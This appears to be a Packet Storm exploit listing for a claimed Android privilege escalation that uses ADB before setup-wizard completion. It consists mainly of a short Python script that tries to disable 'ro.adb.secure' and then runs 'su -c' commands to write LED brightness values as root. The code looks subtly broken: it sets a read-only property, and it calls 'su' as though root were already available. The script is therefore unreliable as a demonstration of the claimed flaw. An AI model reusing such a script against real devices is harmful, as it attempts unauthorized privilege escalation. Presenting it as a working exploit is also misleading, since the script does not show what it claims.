Lucene search

K
packetstormAmirhossein BahramizadehPACKETSTORM:176446
HistoryJan 10, 2024 - 12:00 a.m.

Android DeviceVersionFragment.java Privilege Escalation

2024-01-1000:00:00
Amirhossein Bahramizadeh
packetstormsecurity.com
111
android
privilege escalation
adb
usb mode
vulnerability
root user

7.2 High

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

5.1%

`#!/usr/bin/env python  
  
import subprocess  
  
# Connect to the device via ADB  
subprocess.run(["adb", "devices"])  
  
# Check if the device is in secure USB mode  
device = subprocess.run(["adb", "shell", "getprop", "ro.adb.secure"], stdout=subprocess.PIPE)  
if "1" in device.stdout.decode():  
# Secure USB mode is enabled, so we need to disable it  
subprocess.run(["adb", "shell", "setprop", "ro.adb.secure", "0"])  
  
# Exploit the vulnerability by accessing ADB before SUW completion  
subprocess.run(["adb", "shell"])  
  
# Escalate privileges by executing commands as the root user  
subprocess.run(["adb", "shell", "su", "-c", "echo 0 > /sys/class/leds/led:green: charging/brightness"], check=True)  
subprocess.run(["adb", "shell", "su", "-c", "echo 100 > /sys/class/leds/led:green: charging/brightness"], check=True)  
`

7.2 High

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

5.1%

Related for PACKETSTORM:176446